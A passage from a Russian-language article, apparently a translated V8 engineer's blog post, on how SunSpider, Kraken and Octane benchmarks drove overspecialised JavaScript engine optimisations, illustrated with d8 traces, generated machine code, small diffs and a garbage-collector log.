старые версии V8, показывающие более высокие результаты в SunSpider. А в результате пользователи получают незакрытые дыры в безопасности, которые уже давно были пофиксены в более поздних версиях. Причём старые версии V8 по факту работают медленнее! Источник: Galaxy S7 and S7 Edge review: Samsung’s finest get more polished, www.engadget.com . Если JavaScript-сообщество действительно заинтересовано в получении объективных данных о производительности, то нам нужно заставить журналистов перестать использовать традиционные бенчмарки при сравнении браузеров и смартфонов. Я понимаю, что проще запустить бенчмарк в каждом браузере и сравнить полученные числа, но в таком случае — пожалуйста-пожалуйста! — обратите внимание на бенчмарки, которые хоть как-то соответствуют современному положению дел. То есть реальным веб-страницам. Если вам нужно сравнить два смартфона через браузерный бенчмарк, возьмите хотя бы Speedometer . Менее очевидная ситуация с Kraken Бенчмарк Kraken был выпущен Mozilla в сентябре 2010-го . Заявлялось, что он содержит фрагменты кода и ядра реальных приложений. Я не стану уделять Kraken слишком много времени, потому что он не оказал такого влияния на производительность JavaScript, как SunSpider и Octane. Опишу лишь пример с тестом audio-oscillator.js . Тест 500 раз вызывает функцию calcOsc . Она сначала вызывает generate применительно к глобалу sine Oscillator , затем создаёт новый Oscillator , вызывает применительно к нему generate и добавляет к sine Oscillator . Не углубляясь в детали, почему здесь так делается, давайте рассмотрим метод generate в прототипе Oscillator . Глядя на код, можно предположить, что основную часть времени занимают доступы к массивам, или умножения, или циклические вызовы Math.round . Но на самом деле в runtime Oscillator.prototype.generate доминирует выражение offset % this.waveTableLength . Если запустить бенчмарк в профайлере на любой Intel-машине, то окажется, что более 20 % процессорных циклов тратятся на инструкцию idiv , которая генерируется для модуля (modulus). Интересное наблюдение: поле waveTableLength экземпляра Oscillator всегда содержит значение 2048, единожды присвоенное в конструкторе Oscillator . Если мы знаем, что правая часть операции целочисленного модуля — это степень двойки, то мы можем сгенерировать куда лучший код и полностью избежать на Intel инструкции idiv . Можно попробовать положиться на замещение вызова всего в функции calcOsc и позволить подстановке констант исключить загрузку/хранение. Но это сработает для sine Oscillator , помещённой вне функции calcOsc . Итак, мы добавили поддержку отслеживания значений определённых констант в качестве ответной реакции правой части оператора модуля. В V8 это имеет какой-то смысл, поскольку мы изучаем тип обратной связи для двоичных операций вроде + , * и % , то есть оператор отслеживает типы входных данных, которые он видит, и типы полученных выходных данных (см. слайды с круглого стола Fast arithmetic for dynamic languages ). Было достаточно легко внедрить этот механизм в fullcodegen и Crankshaft, а BinaryOpIC для MOD также может проверять известную степень двойки для правой части. Запуск дефолтной конфигурации V8 (c Crankshaft и fullcodegen) $ ~/Projects/v8/out/Release/d8 --trace-ic audio-oscillator.js [...SNIP...] [BinaryOpIC(MOD:None*None->None) => (MOD:Smi*2048->Smi) @ ~Oscillator.generate+598 at audio-oscillator.js:697] [...SNIP...] $ демонстрирует, что BinaryOpIC выбирает нужную обратную связь по константе (constant feedback) для правой части модуля, а также корректно отслеживает, чтобы левая часть всегда представляла собой маленькое целое число ( Smi в V8), и чтобы мы всегда получали маленький целочисленный результат. Если посмотреть на сгенерированный с помощью --print-opt-code --code-comments код, то становится понятно, что Crankshaft использует обратную связь для создания эффективной кодовой последовательности для целочисленного модуля в Oscillator.prototype.generate : [...SNIP...] ;;; <@80,#84> load-named-field 0x133a0bdacc4a 330 8b4343 movl rax,[rbx+0x43] ;;; <@83,#86> compare-numeric-and-branch 0x133a0bdacc4d 333 3d00080000 cmp rax,0x800 0x133a0bdacc52 338 0f85ff000000 jnz 599 (0x133a0bdacd57) [...SNIP...] ;;; <@90,#94> mod-by-power-of-2-i 0x133a0bdacc5b 347 4585db testl r11,r11 0x133a0bdacc5e 350 790f jns 367 (0x133a0bdacc6f) 0x133a0bdacc60 352 41f7db negl r11 0x133a0bdacc63 355 4181e3ff070000 andl r11,0x7ff 0x133a0bdacc6a 362 41f7db negl r11 0x133a0bdacc6d 365 eb07 jmp 374 (0x133a0bdacc76) 0x133a0bdacc6f 367 4181e3ff070000 andl r11,0x7ff [...SNIP...] ;;; <@127,#88> deoptimize 0x133a0bdacd57 599 e81273cdff call 0x133a0ba8406e [...SNIP...] Итак, мы загружаем значение this.waveTableLength ( rbx содержит ссылку this ), проверяем, чтобы оно было равно 2048 (десятичное 0x800). Если равно, то вместо использования функции idiv мы просто выполняем поразрядную операцию И с соответствующей битовой маской ( r11 содержит значение начинающей цикл переменной i ), уделяя внимание сохранению знака левой части. Проблема избыточной специализации Это классная уловка, но, как и в случае со многими уловками, предназначенными для получения хороших результатов в бенчмарках, тут есть одна главная проблема: избыточная специализация! Как только правая часть изменится, весь оптимизированный код должен быть деоптимизирован (больше неверно предположение, что правая сторона всегда представляет собой определённую степень двойки). Никакие последующие оптимизации не должны снова использовать idiv , поскольку в этом случае BinaryOpIC наверняка зарепортит фидбек в форму Smi*Smi->Smi . Предположим, что мы создали ещё один экземпляр Oscillator , настроили на него другой waveTableLength и применили generate . Тогда будет потеряно 20 % производительности, хотя мы не влияли на действительно интересные Oscillator ‘ы; то есть движок здесь налагает нелокальный штраф (non-local penalization). --- audio-oscillator.js.ORIG 2016-12-15 22:01:43.897033156 +0100 +++ audio-oscillator.js 2016-12-15 22:02:26.397326067 +0100 @@ -1931,6 +1931,10 @@ var frequency = 344.53; var sine = new Oscillator(Oscillator.Sine, frequency, 1, bufferSize, sampleRate); +var unused = new Oscillator(Oscillator.Sine, frequency, 1, bufferSize, sampleRate); +unused.waveTableLength = 1024; +unused.generate(); + var calcOsc = function() { sine.generate(); Если сравнить время исполнения оригинального audio-oscillator.js и версии, содержащей дополнительный неиспользуемый экземпляр Oscillator с модифицированным waveTableLength , получим ожидаемые результаты: $ ~/Projects/v8/out/Release/d8 audio-oscillator.js.ORIG Time (audio-oscillator-once): 64 ms. $ ~/Projects/v8/out/Release/d8 audio-oscillator.js Time (audio-oscillator-once): 81 ms. $ Это пример ужасного падения производительности. Допустим, разработчик пишет код для библиотеки, осторожно настраивает и оптимизирует использование определённых входных значений, в результате получая приличную производительность. Потребитель обращается к библиотеке, но производительность оказывается гораздо ниже, потому что использует он её чуть иначе. Например, каким-то образом испортив обратную связь о типе для какого-то BinaryOpIC , он получил 20-процентное замедление работы (по сравнению с результатами, полученными автором библиотеки). И причину замедления не могут объяснить ни автор, ни пользователь, это выглядит непонятной случайностью. Сегодня такое не редкость в мире JavaScript. Пары подобных снижений производительности просто нельзя избежать, поскольку их причина в том, что производительность JavaScript основана на оптимистичных предположениях и спекуляциях. Мы потратили кучу времени и сил, пытаясь придумать способы избежать подобных падений, и до сих пор имеем (почти) такую же производительность. Похоже, стоит при любой возможности избегать idiv , даже если вы не знаете, что правая часть всегда равна степени двойки (посредством динамической обратной связи). TurboFan, в отличие от Crankshaft, во время runtime всегда проверяет, равен ли входной параметр степени двойки, поэтому в общем случае код для целочисленного модуля со знаком и с оптимизацией правой части в виде (неизвестной) степени двойки выглядит так (псевдокод): if 0 < rhs then msk = rhs - 1 if rhs & msk != 0 then lhs % rhs else if lhs < 0 then -(-lhs & msk) else lhs & msk else if rhs < -1 then lhs % rhs else zero Это даёт нам гораздо более устойчивую и предсказуемую производительность (с TurboFan): $ ~/Projects/v8/out/Release/d8 --turbo audio-oscillator.js.ORIG Time (audio-oscillator-once): 69 ms. $ ~/Projects/v8/out/Release/d8 --turbo audio-oscillator.js Time (audio-oscillator-once): 69 ms. $ Проблема с бенчмарками и избыточной специализацией заключается в том, что бенчмарк может подсказывать вам, куда смотреть и что делать, но не ответит, как далеко нужно зайти, и не защитит вашу оптимизацию. Например, все JS-движки используют бенчмарки для защиты от снижения производительности, но запуск Kraken не позволит нам защититься при общем подходе, используемом в TurboFan. То есть мы можем деградировать оптимизацию модуля в TurboFan до сверхспециализированной версии Crankshaft, и бенчмарк не сообщит нам о регрессе, потому что, с его точки зрения, всё прекрасно! Теперь вы можете расширить бенчмарк, предположим, в том же ключе, в каком я сделал выше, и попытаться всё покрыть бенчмарками. Именно это в определённой степени делают и разработчики движков. Но такой подход нельзя произвольно масштабировать. Даже если бенчмарки удобны и просты в использовании, нельзя забывать и о здравом смысле, иначе всё поглотит избыточная специализация, и от падения производительности вас будет отделять очень тонкая граница. С тестами Kraken есть ряд других проблем, но давайте перейдём к наиболее влиятельному JS-бенчмарку за последние пять лет — Octane. Взглянем на Octane повнимательнее Бенчмарк Octane — это наследник бенчмарка V8. Он был анонсирован Google в середине 2012 года , а текущая версия Octane 2.0 — в конце 2013-го . В этой версии содержится 15 отдельных тестов, для двух из которых — Splay и Mandreel — мы измерили пропускную способность (throughput) и задержку. Для этого мы прогнали ряд задач, включая компилирование самого себя компилятором Microsofts TypeScript, чистое измерение производительности asm.js с помощью теста zlib, лучевую трассировку (ray tracer), двумерный физический движок и так далее. Подробности по каждому бенчмарку можете узнать из описания . Все эти задачи обдуманно выбрали для демонстрации определённых аспектов производительности JavaScript, которые считались важными в 2012 году или должны были обрести значение в ближайшем будущем. По большому счёту, Octane прекрасно справился со своими целями и вывел производительность JavaScript на новый уровень в 2012—2013-м. Но за прошедшие годы мир очень изменился. Особенно сильно на полезность Octane влияет устарелость большинства тестов в пакете (например, древние версии TypeScript и zlib скомпилированы с помощью древней версии Emscripten , а Mandreel теперь и вовсе недоступен). Мы наблюдали большое соперничество между фреймворками в вебе, особенно между Ember и AngularJS , использующими шаблоны исполнения JavaScript, которые вообще не отражены в Octane и зачастую страдают от (наших) специфических оптимизаций. Также мы наблюдали победу JavaScript на серверном и инструментальном фронтах, в результате которой масштабные JS-приложения зачастую работают в течение многих недель, если не лет, и это тоже никак не отражено в Octane. Как говорилось в начале, у нас есть серьёзные свидетельства того, что исполнение и профилирование памяти в Octane полностью отличается от текущего состояния дел в вебе. Давайте посмотрим на конкретные примеры работы с Octane, чьи оптимизации больше не соответствуют современным задачам. Звучит несколько негативно, но на самом деле это не так! Как я уже упоминал пару раз, Octane — важная глава в истории производительности JavaScript, он сыграл очень заметную роль. Все оптимизации, внедрённые в JS-движки благодаря этому пакету бенчмарков, внедрялись с хорошей уверенностью в том, что Octane — хороший прокси для измерения производительности реальных приложений! У каждого времени свой бенчмарк, и для любого бенчмарка наступает момент, когда его нужно отпустить! Рассмотрим тест Box2D, основанный на Box2DWeb , популярном двумерном физическом движке, портированном на JavaScript. Здесь выполняется большое количество вычислений с плавающей запятой, под которые в JS-движках внедрено много хороших оптимизаций. Но этот тест, судя по всему, содержит баг, и он может использоваться для некоторой манипуляции (я вставил в свой пример соответствующий эксплойт). В бенчмарке есть функция D.prototype.UpdatePairs (деминифицировано): D.prototype.UpdatePairs = function(b) { var e = this; var f = e.m_pairCount = 0, m; for (f = 0; f < e.m_moveBuffer.length; ++f) { m = e.m_moveBuffer[f]; var r = e.m_tree.GetFatAABB(m); e.m_tree.Query(function(t) { if (t == m) return true; if (e.m_pairCount == e.m_pairBuffer.length) e.m_pairBuffer[e.m_pairCount] = new O; var x = e.m_pairBuffer[e.m_pairCount]; x.proxyA = t < m ? t : m; x.proxyB = t >= m ? t : m; ++e.m_pairCount; return true }, r) } for (f = e.m_moveBuffer.length = 0; f < e.m_pairCount;) { r = e.m_pairBuffer[f]; var s = e.m_tree.GetUserData(r.proxyA), v = e.m_tree.GetUserData(r.proxyB); b(s, v); for (++f; f < e.m_pairCount;) { s = e.m_pairBuffer[f]; if (s.proxyA != r.proxyA || s.proxyB != r.proxyB) break; ++f } } }; Профилирование показывает, что много времени тратится на выполнение невинно выглядящей внутренней функции, передаваемой в первом цикле e.m_tree.Query : function(t) { if (t == m) return true; if (e.m_pairCount == e.m_pairBuffer.length) e.m_pairBuffer[e.m_pairCount] = new O; var x = e.m_pairBuffer[e.m_pairCount]; x.proxyA = t < m ? t : m; x.proxyB = t >= m ? t : m; ++e.m_pairCount; return true } Точнее, время тратится не на саму функцию, а на запускаемые ею операции и функции встроенной библиотеки. 4—7 % общего времени исполнения уходит на вызов бенчмарка в runtime-функции Compare , который реализует общий случай абстрактного относительного сравнения (abstract relational comparison). Почти все вызовы runtime-функции идут из CompareICStub , используемого для двух относительных сравнений во внутренней функции: x.proxyA = t < m ? t : m; x.proxyB = t >= m ? t : m; То есть на эти две безобидные строки приходится 99 % времени выполнения функции! Как так? Ну, как и многие другие вещи в JavaScript, абстрактное относительное сравнение не всегда используется интуитивно правильно. В нашей функции t и m — всегда экземпляры L , центрального класса приложения. Но при этом не переопределяются свойства Symbol.toPrimitive , "toString" , "valueOf" и Symbol.toStringTag , относящиеся к абстрактному относительному сравнению. Если написать t < m , то: Вызывается ToPrimitive ( t , hint Number ). Запускается OrdinaryToPrimitive ( t , "number" ), потому что нет Symbol.toPrimitive . Исполняется t.valueOf() , в результате получим само t , поскольку вызывается дефолтная Object.prototype.valueOf . Затем идёт t.toString() , в результате получим "[object Object]" , потому что используется дефолтная Object.prototype.toString , а Symbol.toStringTag для L не обнаружена. Вызывается ToPrimitive ( m , hint Number ). Запускается OrdinaryToPrimitive ( m , "number" ), потому что нет Symbol.toPrimitive. Исполняется m.valueOf() , в результате получим само m, поскольку вызывается дефолтная Object.prototype.valueOf . Затем идёт m.toString() , в результате получим "[object Object]" , потому что используется дефолтная Object.prototype.toString , а Symbol.toStringTag для L не обнаружена. Выполняется сравнение "[object Object]" < "[object Object]" , в результате получим . То же самое и при t >= m , только в конце всегда будем получать true . Баг в том, что нет смысла делать абстрактное относительное сравнение таким образом. Суть эксплойта: можно заставить компилятор выполнить свёртку констант, то есть применить к бенчмарку подобный патч: --- octane-box2d.js.ORIG 2016-12-16 07:28:58.442977631 +0100 +++ octane-box2d.js 2016-12-16 07:29:05.615028272 +0100 @@ -2021,8 +2021,8 @@ if (t == m) return true; if (e.m_pairCount == e.m_pairBuffer.length) e.m_pairBuffer[e.m_pairCount] = new O; var x = e.m_pairBuffer[e.m_pairCount]; - x.proxyA = t < m ? t : m; - x.proxyB = t >= m ? t : m; + x.proxyA = m; + x.proxyB = t; ++e.m_pairCount; return true }, Это позволит увеличить результат на 13 %, отказавшись от сравнения всех запускаемых им поисков и вызовов встроенной функции: $ ~/Projects/v8/out/Release/d8 octane-box2d.js.ORIG Score (Box2D): 48063 $ ~/Projects/v8/out/Release/d8 octane-box2d.js Score (Box2D): 55359 $ Как мы это сделали? Похоже, у нас уже был механизм отслеживания формы объектов, которые сравниваются в CompareIC : так называемое отслеживание отображения (map) известного получателя (known receiver map tracking) (в терминологии V8 map — это форма + прототип объекта). Но этот механизм применялся только в абстрактных сравнениях и сравнениях на строгое равенство. Однако я легко могу использовать отслеживание и для получения обратной связи для абстрактного относительного сравнения: $ ~/Projects/v8/out/Release/d8 --trace-ic octane-box2d.js [...SNIP...] [CompareIC in ~+557 at octane-box2d.js:2024 ((UNINITIALIZED+UNINITIALIZED=UNINITIALIZED)->(RECEIVER+RECEIVER=KNOWN_RECEIVER))#LT @ 0x1d5a860493a1] [CompareIC in ~+649 at octane-box2d.js:2025 ((UNINITIALIZED+UNINITIALIZED=UNINITIALIZED)->(RECEIVER+RECEIVER=KNOWN_RECEIVER))#GTE @ 0x1d5a860496e1] [...SNIP...] $ Используемое в базовом коде CompareIC говорит нам, что для выполняемых в нашей функции сравнений «менее чем» и «больше либо равно» видит только RECEIVER ’ы (JavaScript-объекты в терминологии V8). И все эти получатели имеют одно и то же отображение (map) 0x1d5a860493a1 , соответствующее отображению экземпляров L . В оптимизированном коде для этих операций мы можем выполнить свёртку констант до false и true соответственно, потому что мы знаем: обе части сравнения — экземпляры с отображением 0x1d5a860493a1 . Никто не вмешается в цепочку прототипов L , то есть по умолчанию используются методы the Symbol.toPrimitive , "valueOf" и "toString" . Также никто не задаст свойство аксессора Symbol.toStringTag . Дальше в Crankshaft творится чёрная магия с большим количеством проклятий и изначально непроверенным Symbol.toStringTag : В конце получаем огромный прирост в производительности для конкретного бенчмарка: В свою защиту хочу сказать: я не был уверен в том, что такое поведение всегда говорит о баге в исходном коде. Я даже предполагал, что в реальных условиях такое может происходить довольно часто, к тому же мне казалось, что JS-разработчики не всегда обращают внимание на подобные потенциальные баги. Но я ошибался, и признаю свою ошибку! Должен признать, что данная оптимизация относится исключительно к бенчмарку и никак не поможет в реальном коде (если только он не создан с учётом этой оптимизации, но тогда можно прямо написать true или false , а не использовать относительное сравнение констант). Вероятно, вам интересно, почему вскоре после моего патча была отмечена небольшая регрессия. Как раз тогда мы бросили всю команду на внедрение ES2015, и пришлось немало попотеть, чтобы сделать это без серьёзных провалов в традиционных бенчмарках (ES2015 — настоящий монстр!). Перейдём к бенчмарку Mandreel. Это был компилятор для преобразования кода C/C++ в JavaScript. Он не использовал подмножество asm.js , в отличие от более раннего компилятора Emscripten , и примерно три года назад был объявлен устаревшим (примерно с тех пор вообще исчез из интернета). Однако Octane ещё содержит версию физического движка Bullet , скомпилированного с помощью Mandreel . Нас заинтересовал тест MandreelLatency, благодаря которому бенчмарк может выполнять частые измерения времени. Идея в том, что Mandreel воздействует на компилятор виртуальной машины, а тест показывает получившуюся задержку. Чем длиннее паузы между измерениями, тем ниже балл. В теории всё звучит неплохо, и так оно и есть на самом деле. Но вендоры придумали, как обмануть бенчмарк. Mandreel содержит огромную инициализирующую функцию global_init , и на её парсинг и генерирование основного кода уходит огромное количество времени. Поскольку движки обычно по многу раз парсят в скриптах разные функции, то сначала в скрипте находят все функции (стадия препарсинга), а затем, когда функция вызывается впервые, она полностью парсится и для неё генерируется основной код (или байткод). В V8 это называется ленивым парсингом . Для поиска функций, которые можно вызвать немедленно, если препарсинг будет лишь потерей времени, в движке применяется эвристика. Но для функции global_init из Mandreel это не очевидно, поэтому на препарсинг + парсинг + компилирование большой функции уходит масса времени. Чтобы избежать препарсинга и для функции global_init , мы добавили дополнительную эвристику. Источник: arewefastyet.com . Внедрив определение global_init и избежав дорогого препарсинга, мы получили почти 200-процентное улучшение. Мы считаем, что это не должно негативно сказаться на реальных проектах, но не можем гарантировать, что не возникнет осложнения с большими функциями в тех случаях, когда препарсинг был бы полезен (потому что они не исполняются немедленно). Рассмотрим другой, несколько противоречивый бенчмарк — splay.js . Этот тест предназначен для манипулирования данными, для работы с косыми деревьями (splay trees) и тренировки подсистемы автоматического управления памятью (сборщика мусора). В нём есть инструментарий для выполнения частых измерений времени: длинные паузы между ними говорят о высоком уровне задержки при работе сборщика мусора. Тест классифицирует паузы по вёдрам (buckets) и штрафует за длинные паузы, снижая общий балл. Звучит прекрасно! В теории. Давайте посмотрим на код, лежащий в основе механизма работы с косыми деревьями: Это ключевая конструкция, и, что бы вы ни думали, глядя на весь бенчмарк, именно от неё зависит балл SplayLatency. Почему? По сути, бенчмарк создаёт огромные косые деревья так, чтобы большинство их узлов выживали и превращались в старое пространство. За это приходится слишком дорого расплачиваться при использовании сборщика мусора, учитывающего поколения объектов (generational garbage collector), как в V8: если программа нарушает гипотезу поколений ( generational hypothesis ), то это приводит к чрезвычайно большим паузам на полную эвакуацию из нового пространства в старое. Эту проблему хорошо иллюстрирует запуск V8 в старой конфигурации: $ out/Release/d8 --trace-gc --noallocation_site_pretenuring octane-splay.js [20872:0x7f26f24c70d0] 10 ms: Scavenge 2.7 (6.0) -> 2.7 (7.0) MB, 1.1 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 12 ms: Scavenge 2.7 (7.0) -> 2.7 (8.0) MB, 1.7 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 14 ms: Scavenge 3.7 (8.0) -> 3.6 (10.0) MB, 0.8 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 18 ms: Scavenge 4.8 (10.5) -> 4.7 (11.0) MB, 2.5 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 22 ms: Scavenge 5.7 (11.0) -> 5.6 (16.0) MB, 2.8 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 28 ms: Scavenge 8.7 (16.0) -> 8.6 (17.0) MB, 4.3 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 35 ms: Scavenge 9.6 (17.0) -> 9.6 (28.0) MB, 6.9 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 49 ms: Scavenge 16.6 (28.5) -> 16.4 (29.0) MB, 8.2 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 65 ms: Scavenge 17.5 (29.0) -> 17.5 (52.0) MB, 15.3 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 93 ms: Scavenge 32.3 (52.5) -> 32.0 (53.5) MB, 17.6 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 126 ms: Scavenge 33.4 (53.5) -> 33.3 (68.0) MB, 31.5 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 151 ms: Scavenge 47.9 (68.0) -> 47.6 (69.5) MB, 15.8 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 183 ms: Scavenge 49.2 (69.5) -> 49.2 (84.0) MB, 30.9 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 210 ms: Scavenge 63.5 (84.0) -> 62.4 (85.0) MB, 14.8 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 241 ms: Scavenge 64.7 (85.0) -> 64.6 (99.0) MB, 28.8 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 268 ms: Scavenge 78.2 (99.0) -> 77.6 (101.0) MB, 16.1 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 298 ms: Scavenge 80.4 (101.0) -> 80.3 (114.5) MB, 28.2 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 324 ms: Scavenge 93.5 (114.5) -> 92.9 (117.0) MB, 16.4 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 354 ms: Scavenge 96.2 (117.0) -> 96.0 (130.0) MB, 27.6 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 383 ms: Scavenge 108.8 (130.0) -> 108.2 (133.0) MB, 16.8 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 413 ms: Scavenge 111.9 (133.0) -> 111.7 (145.5) MB, 27.8 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 440 ms: Scavenge 124.1 (145.5) -> 123.5 (149.0) MB, 17.4 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 473 ms: Scavenge 127.6 (149.0) -> 127.4 (161.0) MB, 29.5 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 502 ms: Scavenge 139.4 (161.0) -> 138.8 (165.0) MB, 18.7 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 534 ms: Scavenge 143.3 (165.0) -> 143.1 (176.5) MB, 28.5 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 561 ms: Scavenge 154.7 (176.5) -> 154.2 (181.0) MB, 19.0 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 594 ms: Scavenge 158.9 (181.0) -> 158.7 (192.0) MB, 29.2 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 622 ms: Scavenge 170.0 (192.5) -> 169.5 (197.0) MB, 19.5 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 655 ms: Scavenge 174.6 (197.0) -> 174.3 (208.0) MB, 28.7 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 683 ms: Scavenge 185.4 (208.0) -> 184.9 (212.5) MB, 19.4 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 715 ms: Scavenge 190.2 (213.0) -> 190.0 (223.5) MB, 27.7 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 743 ms: Scavenge 200.7 (223.5) -> 200.3 (228.5) MB, 19.7 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 774 ms: Scavenge 205.8 (228.5) -> 205.6 (239.0) MB, 27.1 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 802 ms: Scavenge 216.1 (239.0) -> 215.7 (244.5) MB, 19.8 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 833 ms: Scavenge 221.4 (244.5) -> 221.2 (254.5) MB, 26.2 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 861 ms: Scavenge 231.5 (255.0) -> 231.1 (260.5) MB, 19.9 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 892 ms: Scavenge 237.0 (260.5) -> 236.7 (270.5) MB, 26.3 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 920 ms: Scavenge 246.9 (270.5) -> 246.5 (276.0) MB, 20.1 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 951 ms: Scavenge 252.6 (276.0) -> 252.3 (286.0) MB, 25.8 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 979 ms: Scavenge 262.3 (286.0) -> 261.9 (292.0) MB, 20.3 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1014 ms: Scavenge 268.2 (292.0) -> 267.9 (301.5) MB, 29.8 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1046 ms: Scavenge 277.7 (302.0) -> 277.3 (308.0) MB, 22.4 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1077 ms: Scavenge 283.8 (308.0) -> 283.5 (317.5) MB, 25.1 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1105 ms: Scavenge 293.1 (317.5) -> 292.7 (323.5) MB, 20.7 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1135 ms: Scavenge 299.3 (323.5) -> 299.0 (333.0) MB, 24.9 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1164 ms: Scavenge 308.6 (333.0) -> 308.1 (339.5) MB, 20.9 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1194 ms: Scavenge 314.9 (339.5) -> 314.6 (349.0) MB, 25.0 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1222 ms: Scavenge 324.0 (349.0) -> 323.6 (355.5) MB, 21.1 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1253 ms: Scavenge 330.4 (355.5) -> 330.1 (364.5) MB, 25.1 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1282 ms: Scavenge 339.4 (364.5) -> 339.0 (371.0) MB, 22.2 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1315 ms: Scavenge 346.0 (371.0) -> 345.6 (380.0) MB, 25.8 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1413 ms: Mark-sweep 349.9 (380.0) -> 54.2 (305.0) MB, 5.8 / 0.0 ms (+ 87.5 ms in 73 steps since start of marking, biggest step 8.2 ms, walltime since start of marking 131 ms) finalize incremental marking via stack guard GC in old space requested [20872:0x7f26f24c70d0] 1457 ms: Scavenge 65.8 (305.0) -> 65.1 (305.0) MB, 31.0 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1489 ms: Scavenge 69.9 (305.0) -> 69.7 (305.0) MB, 27.1 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1523 ms: Scavenge 80.9 (305.0) -> 80.4 (305.0) MB, 22.9 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1553 ms: Scavenge 85.5 (305.0) -> 85.3 (305.0) MB, 24.2 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1581 ms: Scavenge 96.3 (305.0) -> 95.7 (305.0) MB, 18.8 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1616 ms: Scavenge 101.1 (305.0) -> 100.9 (305.0) MB, 29.2 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1648 ms: Scavenge 111.6 (305.0) -> 111.1 (305.0) MB, 22.5 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1678 ms: Scavenge 116.7 (305.0) -> 116.5 (305.0) MB, 25.0 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1709 ms: Scavenge 127.0 (305.0) -> 126.5 (305.0) MB, 20.7 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1738 ms: Scavenge 132.3 (305.0) -> 132.1 (305.0) MB, 23.9 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1767 ms: Scavenge 142.4 (305.0) -> 141.9 (305.0) MB, 19.6 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1796 ms: Scavenge 147.9 (305.0) -> 147.7 (305.0) MB, 23.8 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1825 ms: Scavenge 157.8 (305.0) -> 157.3 (305.0) MB, 19.9 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1853 ms: Scavenge 163.5 (305.0) -> 163.2 (305.0) MB, 22.2 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1881 ms: Scavenge 173.2 (305.0) -> 172.7 (305.0) MB, 19.1 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1910 ms: Scavenge 179.1 (305.0) -> 178.8 (305.0) MB, 23.0 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1944 ms: Scavenge 188.6 (305.0) -> 188.1 (305.0) MB, 25.1 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 1979 ms: Scavenge 194.7 (305.0) -> 194.4 (305.0) MB, 28.4 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 2011 ms: Scavenge 204.0 (305.0) -> 203.6 (305.0) MB, 23.4 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 2041 ms: Scavenge 210.2 (305.0) -> 209.9 (305.0) MB, 23.8 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 2074 ms: Scavenge 219.4 (305.0) -> 219.0 (305.0) MB, 24.5 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 2105 ms: Scavenge 225.8 (305.0) -> 225.4 (305.0) MB, 24.7 / 0.0 ms allocation failure [20872:0x7f26f24c70d0] 2138 ms: Scavenge 234.8 (305.0) -> 234.4 (305.0) MB, 23.1 / 0.0 ms allocation failure [...SNIP...] $ Главное наблюдение: размещение узлов косых деревьев напрямую в старом пространстве позволит избежать практически любых избыточных расходов на копирование объектов и снизит до минимума количество незначительных циклов сборки мусора (то есть уменьшит 